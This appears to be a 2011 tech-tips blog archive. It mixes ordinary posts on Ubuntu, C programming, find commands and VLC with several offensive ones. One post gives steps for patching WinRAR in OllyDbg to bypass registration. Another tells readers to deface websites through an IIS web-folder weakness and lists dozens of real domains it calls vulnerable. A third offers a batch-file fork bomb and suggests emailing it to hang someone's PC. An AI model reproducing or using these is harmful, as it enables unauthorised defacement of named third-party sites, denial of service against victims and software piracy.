Wednesday, December 28, 2011

Howto Compile Source Code on Ubuntu


./configure
make
sudo make install

The above 3 comands work for most of the softwares.  If doesn't, go for read me file.

Increase Maximum File Transfer size of USB in Windows 7 | Hotfix


Download Update kb2581464 from official website. Select the Windows version (32 or 64 Bit) and enter email address to request download link on email.
  1. Click Start, type regedit in the Start Search box, and then press Enter.
  2. Locate and then click the following registry subkey:
    HKEY_LOCAL_MACHINES\SYSTEM\CurrentControlSet\Control\usbstor\054C00C1



  1. Click Edit, point to New, and then click DWORDValue.
  2. Type MaximumTransferLength, and then press Enter.
  3. If it already exists, leave the old one as it is and continue. (Delete the one you have created just now)
  4. Click Edit, and then click Modify.
  5. In the Value data box, type a value to specify the maximum transfer size between 64KB and 2MB. For example, you select Decimal and type a value between 65535 (64K) and 2097120 (2M).
  6. Exit Registry Editor.
Restart the computer and changes are made now! Try connecting USB Pendrive or something and you will notice changes immediately when transferring file.




[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

How to crack winrar ? | Reverse Engineering

In this tutorial I will show you the attackers approach of simply hacking a software with just basic understanding of Assembly. All you need is Olly dbg(v 1.10) and Winrar(any version).
Our target is to bypass the registration screen which is like above figure.


STEP 1 : Run olly dbg and open winrar in it by dragging it and dropping it in olly dbg.


STEP 2 : Now right click on the CPU main thread module and go to Search For > All Referenced text String


A new process containing all the reference stings will open 


STEP 3 : A right click on this new window and click on Search for text STEP 5 : Search for "reminder" in the search box as shown in the figure




STEP 5 : On pressing enter you will reach to the particular string location .


STEP 6 : Now double click it (reminder) and you will be taken to the main thread location of the string "reminder". 


STEP 7 : So now you have reached to the location that is responsible for generating the particular reminder message that pops up every-time we start winrar. Now from here you will need a basic understanding of Assembly. 


STEP 8 : Upon careful analysis of the region around the "reminder" text you will find a statement similar to this " JE SHORT winrar.00441219 " . "JE" means "jump if equals". This means that if your copy of winrar is already a registered copy then this statement will prevent the execution of the reminder message. So what shold we do here so that it still doesn't display the reminder even though we have an unregistered copy of winrar. 


STEP 9 : Go to the jump statement and double click it. Now change "JE SHORT winrar.00441219" to " JMP SHORT winrar.0041219 " . 


STEP 10: Save changes to the executable to see if you have performed the RE process correctly 


STEP 11: All you need to do now is go to the CPU main thread module , right click > copy to executable > all modifications. Press yes for the alert messages. You can either save it with the same name as winrar.exe to over-right the previous file or you can first save it with a different name to check if you have succeeded


                Once you are done with the saving part , you can now run the executable. If everything is right then you will not find any alert message this time.


:D Enjoy :D


NOTE : FOR EDUCATIONAL PURPOSES ONLY. I AM NOT RESPONSIBLE FOR THE CONSEQUENCES.




















[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Tuesday, December 27, 2011

MySQL : Error 1005 : Can't create table (err no:150)


How to resolve this error:
Make sure your fields datatype match.
They both should have exactly the same datatype and length.
Eg. INT(4) Unsigned isn’t the same as INT(11)
Also make sure if you have data in the table, the foreign keys will not fail.
Eg. If you have an value in one table and not in the other table, it will fail.
This may be common knowledge to most of you but it might come in handy to someone else.






[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Thursday, December 22, 2011

How to reduce package size in Ubuntu while installing

Generally we use sudo apt-get install PackageName for installation. But in this way, all the recommended dependencies will be installed thereby increasing the size of installation.

So, in order to download and install only required dependencies, use

sudo apt-get install - -no-install-recommends package name




If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Tuesday, December 20, 2011

How to download .torrent files using IDM (Internet Download Manager)

In my older post, I have posted how to Download Torrents via HTTP Direct Links without Seedbox


Here is similar but an extension which is currently working.

1. Go to the website www.torcache.net and upload the torrent file that you have just downloaded and click on the cache! button
2. This will give you a new torrent file . You just have to copy the link of the new torrent file from the opened window.
3. Then go to the website www.torrific.com and create an account there(in case you don’t have) and login to your account. Then paste the address of the new torrent obtained in step 3 and click on Get button.
4. Now you will get the list of available files present in that torrent file. Then click on the initiate bittorrent transmission button. This will give the full option to download the file. Just click on any link and you can see the download manager-IDM popping out for downloading the file.





If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Sunday, December 18, 2011

how to mount all drives at the start up | Ubuntu

Install using the below command.

sudo apt-get install pysdm


After installation, open Storage Device Manager. Once running, from the left hand side panel choose the partition you want to be mounted on startup (expand the hard drives list first). Then click on “Assistant” on the right side. Now you are presented with the options window. Just check the “The file system is mounted at boot time” and uncheck the “Mount file system in read-only mode”.

Hit apply! That's it !




[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Segmentation fault causes and solution

Well, this "SEGMENTATION FAULT" error encountered me and my friends while doing network programming in C on a Linux platform.

Cause for this error : A segmentation fault occurs mainly when our code tries to access some memory location which it is not suppose to access.

For example :
  1. Working on a dangling pointer.
  2. Writing past the allocated area on heap.
  3. Operating on an array without boundary checks.
  4. Freeing a memory twice.
  5. Working on Returned address of a local variable
  6. Running out of memory(stack or heap)
So, avoid / debug above errors to get rid of this






[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Why main() should not have void as return type ?

Main() is actually defined in the libraries as int main() but not as void main() . This is the main reason we should use it with return type int. Even the ANSI standards suggests us to use int main() . If this is not followed, there is a chance of stack corruption.

Here is a most famous question .. It works fine with void as return type. So why should I go with int ??

it may work sometimes because of the existing garbage values. But no one calls main() in fact, when we execute a program, automatically the predefined callers initiates main() by calling it. This process involves a main() as called function , a shell script and a caller function.

For more detailed answer goto Go4Expert.





If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Problem in using scanf() before fgets() or gets() in C | Solution


Problem :

code :
#include <stdio.h> 
#include <string.h> 
int main() 
{ 
      int n; 
      char buff[100]; 
      memset(buff,0,sizeof(buff)); 
      printf("Enter a number:"); 
      scanf("%d",&n); 
      printf("You entered %d \n",n); 
      printf("\n Enter a name:"); 
      fgets(buff,sizeof(buff),stdin); 
      printf("\n The name entered is %s\n",buff); 
      return 0; 
}


output :


~/home $ ./aa  
Enter a number:123 
You entered 123  
 
 Enter a name: 
 The name entered is  
 
 ~/home $ ./aa  
Enter a number:123abc456 
You entered 123  
 
 Enter a name: 
 The name entered is abc456


As you can see above, I ran the executable twice and I got some weird results :

  1. In the first run, the execution did not stop at stdin when the fgets() API was being executed. So, I could not enter a name and hence no name was displayed.
  2. In the second run also the execution did not stop at stdin when fgets() API was being executed. So, I could not enter a name but the weirder part is that the last line of the output shows few final bytes of the input given to scanf() API being stored as the value of name.
---> Using fflush(stdin); may work in old compilers but not in new and advanced compilers like gcc.

Solution :

Code:
#include <stdio.h> 
#include <string.h> 
  int main() 
  { 
      int n; 
      char buff[100]; 
      memset(buff,0,sizeof(buff)); 
      printf("Enter a number:"); 
      scanf("%d",&n); 
      printf("You entered %d \n",n); 
      getchar(); 
      printf("\n Enter a name:"); 
      fgets(buff,sizeof(buff),stdin); 
      printf("\n The name entered is %s\n",buff); 
      return 0; 
  }
Lets look at the output :

Code:
~/home $ ./aa  
Enter a number:123 
You entered 123  
 
 Enter a name: globalsoftbay 
 
 The name entered is globalsoftbay

Adding getchar() solves the problem. But I don't think it is ideal solution. If you people find this working / not working, just comment below. If anyone know the ideal solution, fee free to post.




If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Thursday, December 15, 2011

Disable Refresh in Webpage Using Javascript (F5 & Ctrl + R)

document.onkeydown = function() {    
    switch (event.keyCode) { 
        case 116 : //F5 button
            event.returnValue = false;
            event.keyCode = 0;
            return false
        case 82 : //R button
            if (event.ctrlKey) { 
                event.returnValue = false
                event.keyCode = 0;  
                return false
            } 
    }
}



Place the above javascript in your page,




If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Wednesday, December 14, 2011

Search for a file from terminal in Linux

To day I just came across a situation in which I have to search for a file/ folder but i don't know the path and full name. So, in these situations geenrally we go with search. But what if you have only terminal. I experimented this in CentOS 4.4 (Linux) and got perfect results. Command is as below.


Find all files with something in their name
find . -name "*.txt"

Find all files that belong to a certain user
find . -user ravi



Find only directories, files, links, or sockets
find . -type d



Find things over a megabyte in size
find ~/Movies/ -size +1024M



Find all files in my directory with open permissions
find ~ -perm 777



Combinations are also accepted.




[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Friday, December 9, 2011

COPY / EDIT TEXT FROM IMAGE FILE

IMAGE TO DOCUMENT CONVERTER :

If you have software installed Microsoft One Note is bundled with Microsoft Office 2007, then you can copy text in the image file. Because this software has the facility Copy Text From Picture after our right-clicking on the image. However, if you have no the software, you can copy and edit text from the image file via free online services OCRConvert.

OCRConvert can convert image files into text files quickly and accurately. OCR (Optical Character Recognition) is a technology that can analyze an image and detect text that is in it so it can be copied and edited.

The steps are very easy, by clicking the Browse button and select the image file that you want to edit. When images or photos you've uploaded document, click the Process button.

If the conversion process fails, OCR Convert will display the message fails like this:

Sorry, your file could not be processed. This could be because:

1) Your file cannot be opened.
2) Your file is corrupted.
3) The load on the server is too much.
4) A problem with the converter ( which will be investigated by our staff ).






[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Wednesday, December 7, 2011

Top 3 smart phones and why they make it into the top 3

Mobile broadband providers have seen a spike in Internet access since smart phones started taking the world by storm. There was tough competition amongst smart phone providers. But three main smart phones made it to the top of the list. These three are the top smart phones that have ever been created. If you get one of these, you'll see what it's like to own the gold, silver, and bronze medal-winning versions.



1. Apple iPhone 4S : 



The newest iteration of Apple's iPhone device is also the best. It's not just all new wine in an old bottle. There is a brand new 8MP camera and Siri voice control. It also comes bundled with IOS5, Apple's latest operating system for mobile devices. The same OS is seen on its tablet and iPod devices so there is no fragmentation in the operating system. What you see on one device is what you get on another device. Plus, with iCloud, all your applications and settings are automatically added between devices so that they're all synced no matter what you do on one device. The iPhone 4S has also not been trounced by the Android competition yet, it is still going strong and threatens to outperform Android year after year. It is still one of the fastest, boldest, and easiest smart phones on the market, plus, the new iPhone 4S has a faster processor, faster graphics card, and better camera optics. There's a lot to be said for crystallizing a winning formula, and the iPhone 4S does it. It's still the world's number 1 smart phone. It has four stars across the board for design, multimedia, call features & quality, battery life & memory, and additional features and is one of the top three smart phones because it was the first to do what it did.





2. Samsung Galaxy S :

This is one of the best smart phones on the market, competing with Apple's iPhone 4S in just about every category. It has a lot of bells and whistles and a bright, big display. There is 4G, video chat, and the newest version of the Android 2.2 operating system. The touch screen is so large that it makes it great for video chat and the AMOLED display is also great for watching videos. Plus, there is 390 minutes of talk time with a single charge. There is tons of memory available to store your photos, videos, and pictures too because each phone has 32GB.



3. HTC Sensation :

The HTC Sensation is making quite an impression. HTC has jumped from being a no-name manufacturer of other brands to making its marks as one of the finest smart phone manufacturers on the market. The deals available are great and it matches the cost of similar smart phones in that price range. It is somewhat thicker than other models, but it still feels comfortable in your hand, but it is HTC's leading device. The screen is also a lot bigger and is HD. The HTC Sensation is one of their best smart phones yet.




NOTE : THIS WAS A GUEST POST WRITTEN BY Mr. MICHAEL STEVENS .





If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Tuesday, December 6, 2011

De-fragmentation shortens or Increases the HDD's life

What is Defragmentation ?

Defragmenting hard drive is nothing but a group of files to rearrange each file that is out of place in consolidated and organize files again. Then when you need a certain file, all you need do is consult the index, take the file and use it. No need to twist around the computer looking for a particular document that was lost.

But doing it very often can wear this piece of hardware?


If you are using a normal hard disk, NO. In fact the process may even increase the life of the hard disk, since the HD’s are disks that contain the files physically. Thus in order to open, read heads should be directed to the position of the item and more fragmentation, more readers will have to move.
A normal hard drive has a seek time of about 16 ms. If a file is fragmented into 20 parts, the read heads will take approximately 320 ms to effectively carry all parts of the document.


Do not Defragment SSD !



Machines with Solid State Drives (SSD acronym in English) are increasingly present in the market. Because it uses a different technology common hard drives (flash memory in Logar magnetic disk), this type of device does not need to be defragmented ever. They work exceptionally random access operations and therefore the organization of data is not really useful for SSD’s.
With respect to the recording limit, an SSD has a life expectancy of about 10,000 scriptures. That is, a frequent defragmentation, as well as bring no benefits to this type of disc, so you better save time by avoiding it.

Note : Defragmenting has nothing to do with cleaning up of files so none of your data is lost or no file is deleted.




If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Monday, December 5, 2011

Post Text On Facebook In Blue Color And Link It To Any Page,Profile,Or Group

Now a days,people are linking some text directly to a profile page or a webpage etc etc,. I wondered how..? This is like href in html. At last i found it somewhere and posting here. :P


  1. Login to your Facebook Account and Navigate to where you wanna Post your comment. e.g Status Update box.
  2. Get The ID Of The Page,Profile Or Group. Here Is How:
    1.Visit The Page,Profile Or Group. We Are Using The Globalsoftbay profile: http://www.facebook.com/globalsoftbay As An Example.

    2.Right Click On The Profile Pic And Click On "COPY IMAGE URL". Lets Suppose the URL You Got Is:
    http://profile.ak.fbcdn.net/hprofile-ak-snc4/373479_328810677145405_967977966_n.jpg

    3.The Number After The First Underscore Gives The ID. Here It Is Hoghlighted In Red
    http://profile.ak.fbcdn.net/hprofile-ak-snc4/373479_328810677145405_967977966_n.jpg

  3. Post it On Facebook As Follows:

    “ @@[0:[<ID Here>:0: <YOUR TEXT> ]] ” (use without “”)

    Replace <ID Here> And <YOUR TEXT>  With The ID you Got And The Text You Want To Write In Blue Respectively.

    Here is An Example:
    @@[0:[328810677145405:0: This Is An Example ]]
  4. Enjoy ! :D




If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Your Android may spy on you | Carrier IQ

An Android developer recently discovered a clandestine application called Carrier IQ built into most smart-phones that doesn't just track your location; it secretly records your keystrokes, and there's nothing you can do about it.

What is Carrier IQ ?

The software is hidden inside phones there is little you can do to detect that it’s even installed, let alone remove it, and it tracks everything. Keystrokes, browsing and surfing habits, Google searches, and basically every single thing that you are doing on your phone and every button that you press is logged by this software. this is basically a key-logger running on your phone that you didn't know about.



Carrier IQ says in this public statement that it is “not logging keystrokes or providing tracking tools” and that its software is used to track performance, but the video proves entirely otherwise: this app is sitting in between you and the Android OS and is making a note of everything you do.


How to get rid of this serious problem?

There’s no switch that you can turn off in the settings of your phone or software that appears in your app drawer that you can simply uninstall. As far as the GUI of your phone is concerned, Carrier IQ isn’t even there. But it is there, hiding in the background, making sure that you don’t even know it exists.

Fortunately, 

Voodoo Carrier IQ detector application released for Android



A new Android app to identify whether your smartphone has any Carrier IQ tracking/monitoring software installed on it has been released, the Voodoo Carrier IQ detector, giving users a simple way to put their minds to rest on privacy. The handiwork of Android app developer supercurio, the tool is only a few hours old and only partially finished, with the consequent warning that the results can’t be entirely relied on yet. 
To download this application, click 


Click to download source code.

Or Use custom ROM to protect privacy.



[via] If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Friday, December 2, 2011

How to Hack webisites using IIS exploit

Yes, Now you can actually hack some websites using IIS.


  1. Open My computer and right click any where and select add network location.
  2. Press NEXT
  3. Click on "Choose a custom network location" and hit next.
  4. A window will open in which you need to add website which is vulnerable to IIS. For Example : www.globalsoftbay.tk
  5. Now press NEXT after that again press next .
  6. After that open that web folder [it will be somewhere like Network --> Website Name] and add your Deface page :)
  7. Enjoy ! :P

Some websites vulnerable to this exploit now are :

  • http://ayatolahkhamenae.parniansis.com
  • http://bahadori1.parniansis.com
  • http://beheshti.parniansis.com
  • http://beheshti1.parniansis.com
  • http://bentolhoda1.parniansis.com
  • http://bitaraf.parniansis.com
  • http://derakhshan.parniansis.com
  • http://derakhshan1.parniansis.com
  • http://derakhshan2.parniansis.com
  • http://derakhshan3.parniansis.com
  • http://ebnesina.parniansis.com
  • http://emamali.parniansis.com
  • http://emkhaleghiyeyzd.parniansis.com 
  • http://365tg.net
  • http://8090gogo.com
  • http://99zs.net
  • http://bbs.365tg.net
  • http://bbs.ttroad.com
  • http://fyuser.fy768.com
  • http://shop.365tg.net
  • http://sys.lubooil.com
  • http://tg.feitengcar.com
  • http://www.365tg.net
  • http://www.99zs.net
  • http://www.fy768.com
  • http://www.shop574.com
  • http://www.ttroad.com
  • http://hellen.9s6.com
  • http://hanhua.9s6.com
  • http://auditeur.lexbase.fr
  • http://axoneservices.com
  • http://armor.icor.fr
  • http://perros-guirec.icor.fr





If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

WordPress Security Vulnerability Scanner v.1.1

 WPScan is a black box WordPress Security Scanner written in Ruby which attempts to find known security weaknesses within WordPress installations. Its intended use it to be for security professionals or WordPress administrators to asses the security posture of their WordPress installations.

Official Changelog For WPScan v.1.1 :-

  •     Detection for 750 more plugins.
  •     Detection for 107 new plugin vulnerabilities.
  •     Detection for 447 possible timthumb file locations.
  •     Advanced version fingerprinting implemented.
  •     Full Path Disclosure (FPD) checks.
  •     Auto updates.
  •     Progress indicators.
  •     Improved custom 404 checking.
  •     Improved plugin detection.
  •     Improved error_log checking.
  •     Lots of bugs fixed. Lots of small tweaks.





If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Thursday, December 1, 2011

10 Little Known Tricks about VLC Media Player


Make Artistic Sketch



Tools > Effects and Filters > Video Effects > Image Modification > check on Gradient


Add Logo / Watermark on Video

This is temporary.

Tools > Effects and Filters > Video Effects > Logo > Check on Logo and give the file location of Image File either PNG or JPG.

Inbuilt Video Converter

Media > Convert/ Save >Add File > Convert > Select Output format and directory to start processing video



Video Streaming

Media > Open Network Stream >Enter URL

It takes care of rest of the buffering part. :)

Download Online Media / Streaming Videos

 Tools > Codec Information and at the bottom, you will find address of file in Location box.
Alternatively, we can do it by just using Record Option to capture live streaming of video. Enable Advanced Control from View menu and you will see RECORD button (Red circle)

Play RAR files / Splitted video Parts

Movie when downloaded from internet comes in several parts with extension .001 .002 which are splitted using WinRAR. You no more need another software to join those files for playback. Just drag the .001 file into VLC Player and you are ready to watch the movie.


Record from Webcam

Media > Open Capture Device and Play after selecting the WebCam.





[via]If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged

Hang Someone PC Easily

If you have physical access to the PC you wanna hang, then this method is possible. Or else if you even mail the file with the following code, Shit happens :D


  • Open Notepad(Start > All Programs > Accessories > Notepad).
  • Copy the following code and paste it in notepad.


@echo off
:A
start
goto:A


  • From the Menu bar, click on File > Save As. The Save As dialog box opens. 
  • Under the Save as type select All Files option. Write a desired name for your file, for example hang.bat [Remember to give a .bat extension to your file name]. 
  • Now Open the hang.bat file and see the computer getting hanged! 







If you enjoyed this post, make sure you subscribe to my RSS feed! Comments are encouraged